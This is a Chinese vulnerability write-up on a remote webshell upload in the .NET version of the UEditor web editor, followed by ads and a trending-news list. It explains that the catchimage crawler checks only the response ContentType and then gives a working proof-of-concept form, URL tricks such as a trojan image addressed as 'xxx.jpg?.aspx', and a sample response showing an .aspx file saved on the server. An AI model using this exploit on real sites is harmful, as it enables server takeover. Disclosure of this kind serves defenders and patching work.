最新版本UEditor .net getshell
- 发布时间:2018-08-03
- 公开时间:2018-08-21
- 漏洞类型:逻辑漏洞
- 危害等级:高
- 漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
- 测试版本:github最新版
漏洞详情
https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs Crawler方法对source[]的检查仅仅是一个ContentType if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
并没有检查文件扩展名就直接保存到本地 导致getshell
POC:
<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
shell addr 可以用http://www.xxx.com/xxx.jpg?.aspx的方式使用包含木马的图片(为了使服务器返回的ContentType是image/xxx)
也可以用http://www.xxxx.com/xxx.php?.aspx然后在xxx.php中自己设置ContentType
返回如下
{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 和人民在一起 7947276
- 2 警惕!今年第一场大寒潮或波及全国 7959736
- 3 男孩背4个加特林烟花从下午等到天黑 7886043
- 4 今天明天 都是小年 7717244
- 5 王菲时隔7年再上春晚 将唱这首歌 7652032
- 6 公务员省考:学历要求越来越高 7568320
- 7 打工人你的早餐摊子已返乡 7410955
- 8 沈梦辰国色芳华出场镜头 7309481
- 9 尹锡悦穿10号囚服 狱警叫他10号 7284023
- 10 《漂白》编剧再声明身正不怕影子斜 7159302